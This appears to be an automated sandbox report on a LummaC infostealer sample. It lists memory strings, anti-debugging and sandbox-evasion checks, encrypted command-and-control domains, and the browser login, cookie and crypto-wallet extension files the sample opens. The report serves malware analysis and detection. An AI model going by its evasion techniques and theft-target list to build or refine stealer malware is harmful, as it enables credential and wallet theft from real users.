Source: file.exe, 00000000.00000003.2546169911.0000000000C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2546169911.0000000000C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2563595957.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`.
Source: file.exe, 00000000.00000002.2561784216.0000000000275000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2567547941.0000000005D38000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567043471.0000000005986000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2561784216.0000000000275000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: e{Program Manager
Source: file.exe, 00000000.00000002.2567547941.0000000005D38000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2315026266.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2365471748.0000000000C34000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2365309306.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5728, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2365471748.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ctrum-LTC\\wallets","m":["*"],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCas
Source: file.exe, 00000000.00000003.2365347199.0000000000C3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2365347199.0000000000C3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2302743086.0000000000C22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
